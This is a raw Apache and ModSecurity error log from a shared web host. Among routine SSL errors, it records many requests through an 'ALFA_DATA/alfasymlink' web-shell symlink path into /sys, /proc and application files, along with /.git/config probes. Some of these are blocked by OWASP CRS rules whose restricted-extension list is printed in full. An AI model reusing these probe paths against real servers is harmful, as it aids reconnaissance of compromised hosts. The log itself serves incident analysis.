[Sun Oct 25 02:10:50.334280 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.80.130.239:30479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:54.367904 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 3.211.181.86:64135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:10:58.434366 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 98.83.72.38:35420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:11:06.225834 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 52.204.253.129:5105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory4/subsystem/drivers_probe
[Sun Oct 25 02:11:14.483913 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 52.1.106.130:22068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 02:11:18.546037 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.220.70.171:18637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:11:22.270670 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 98.82.59.253:6646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:11:30.262307 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 3.232.82.72:46226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/rescan
[Sun Oct 25 02:11:42.318744 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.200.251.20:26313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:11:50.619561 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.209.201.119:9851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:11:58.478663 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.236.41.241:17697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:02.576541 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 44.223.193.255:20246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:06.865842 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.91.122.193:13661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:10.619616 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.214.238.178:31543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:14.703235 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 184.73.68.20:39775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:26.623905 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.225.81.20:64372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:30.661021 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 34.239.197.197:46888] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:51.099259 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 23.22.59.87:38095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:12:58.610672 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.147.238.89:31659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:03.047801 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 54.83.180.239:10613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/bind
[Sun Oct 25 02:13:11.066143 2026] [core:error] [pid 2775708:tid 2775708] (13)Permission denied: [client 54.80.73.122:8443] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/compact
[Sun Oct 25 02:13:14.685462 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.3.102.51:26025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:18.305140 2026] [security2:error] [pid 2775684:tid 2775684] [client 43.135.144.126:41004] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2d_ganevcJbML2UkvmygAAAAU"]
[Sun Oct 25 02:13:18.784196 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 52.3.104.214:14676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/compact
[Sun Oct 25 02:13:22.623416 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 18.215.77.19:17554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:30.742694 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.3.26.180:44427] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:39.931176 2026] [security2:error] [pid 2775710:tid 2775710] [client 185.191.171.19:13548] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/russian/errmsg.sys"] [unique_id "at2eE3qPPT_6tJCMTRvtxgAAAAs"]
[Sun Oct 25 02:13:39.931721 2026] [security2:error] [pid 2775710:tid 2775710] [client 185.191.171.19:13548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/russian/errmsg.sys"] [unique_id "at2eE3qPPT_6tJCMTRvtxgAAAAs"]
[Sun Oct 25 02:13:39.932078 2026] [security2:error] [pid 2775710:tid 2775710] [client 185.191.171.19:13548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/russian/errmsg.sys"] [unique_id "at2eE3qPPT_6tJCMTRvtxgAAAAs"]
[Sun Oct 25 02:13:46.712696 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 52.45.77.169:19751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:50.699715 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.54.157.23:28577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:54.721877 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.71.46.142:49568] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:13:58.823758 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.215.24.66:5920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:00.070271 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 185.191.171.6:33772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:02.843673 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 52.23.112.144:9274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:07.175519 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.94.157.25:36418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:11.018295 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.3.127.170:22351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:14.857567 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 34.227.156.153:41167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:18.865472 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.208.223.68:63842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:22.902386 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.4.229.9:27992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:26.760565 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 54.225.81.20:18884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:30.883576 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.231.156.59:23838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:35.051346 2026] [security2:error] [pid 2775708:tid 2775708] [client 100.28.44.58:34502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/device:0b/"] [unique_id "at2eSzaSD7UWGB8jzmt32QAAAAk"]
[Sun Oct 25 02:14:35.051536 2026] [security2:error] [pid 2775708:tid 2775708] [client 100.28.44.58:34502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/PNP0A03:00/device:0b/"] [unique_id "at2eSzaSD7UWGB8jzmt32QAAAAk"]
[Sun Oct 25 02:14:42.811603 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 50.16.72.185:17277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:46.829162 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 34.230.124.21:41225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:14:58.881967 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 18.214.124.6:27947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:15:02.892126 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.200.54.136:39649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:15:18.894743 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 44.206.65.8:24687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:15:43.223772 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 54.147.238.89:49319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/bind
[Sun Oct 25 02:15:51.006093 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 54.197.102.71:61137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:03.279541 2026] [ssl:error] [pid 2775712:tid 2775712] (22)Invalid argument: [client 3.221.222.168:32364] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:07.426128 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 34.195.60.66:58742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:15.499468 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 34.236.41.241:18956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:23.164676 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.216.13.10:16197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:31.605866 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 185.191.171.7:16104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/slabs
[Sun Oct 25 02:16:39.260416 2026] [ssl:error] [pid 2775709:tid 2775709] (5)Input/output error: [client 54.204.62.163:13836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:47.606657 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 35.169.102.85:4144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:16:59.239630 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 34.236.185.101:24084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:03.176446 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 34.205.170.13:29216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:10.622337 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/installed_languages.inc"] [unique_id "at2e5sqduxFlyzJhl1wDbQAAAAA"]
[Sun Oct 25 02:17:10.622784 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/installed_languages.inc"] [unique_id "at2e5sqduxFlyzJhl1wDbQAAAAA"]
[Sun Oct 25 02:17:10.888066 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at2e5sqduxFlyzJhl1wDbQAAAAA"]
[Sun Oct 25 02:17:11.030259 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.23.112.144:42051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:15.672424 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 52.6.5.24:19011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/module/drivers/pci:vmd/remove_id
[Sun Oct 25 02:17:19.233077 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.200.93.170:45296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:20.678564 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/session.inc"] [unique_id "at2e8MqduxFlyzJhl1wDcAAAAAA"]
[Sun Oct 25 02:17:20.678951 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/front/session.inc"] [unique_id "at2e8MqduxFlyzJhl1wDcAAAAAA"]
[Sun Oct 25 02:17:20.686290 2026] [security2:error] [pid 2775672:tid 2775672] [client 51.75.129.178:50540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at2e8MqduxFlyzJhl1wDcAAAAAA"]
[Sun Oct 25 02:17:27.435313 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 23.23.137.202:52027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:39.242060 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.213.102.186:34624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:17:47.195326 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 52.207.47.227:18075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/cirrus/bind
[Sun Oct 25 02:17:51.217700 2026] [ssl:error] [pid 2775709:tid 2775709] (70014)End of file found: [client 44.214.19.8:54569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:10.820805 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 54.197.114.76:5260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:22.731405 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 185.191.171.18:36648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:22.878034 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.144.185.255:38880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:23.083212 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 185.191.171.18:36652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:26.965206 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 107.20.224.184:53557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:30.798658 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.219.80.71:1495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:34.852136 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 54.166.104.83:38986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:38.872981 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.208.11.93:22047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:40.243784 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 85.208.96.212:42180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/cpu_partial
[Sun Oct 25 02:18:45.162913 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.11:43080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/shrink
[Sun Oct 25 02:18:46.485468 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/index.php"] [unique_id "at2fRlyqe9jgJ5nfJHB7MwAAAAo"]
[Sun Oct 25 02:18:46.485544 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas3.sherwinpinturas.com"] [uri "/index.php"] [unique_id "at2fRlyqe9jgJ5nfJHB7MwAAAAo"]
[Sun Oct 25 02:18:47.846623 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR1TnwNJm6o1fQZIhLgAAAAI"]
[Sun Oct 25 02:18:47.846896 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR1TnwNJm6o1fQZIhLgAAAAI"]
[Sun Oct 25 02:18:47.847187 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR1TnwNJm6o1fQZIhLgAAAAI"]
[Sun Oct 25 02:18:47.849901 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR3qPPT_6tJCMTRvt3wAAAAs"]
[Sun Oct 25 02:18:47.850078 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR3qPPT_6tJCMTRvt3wAAAAs"]
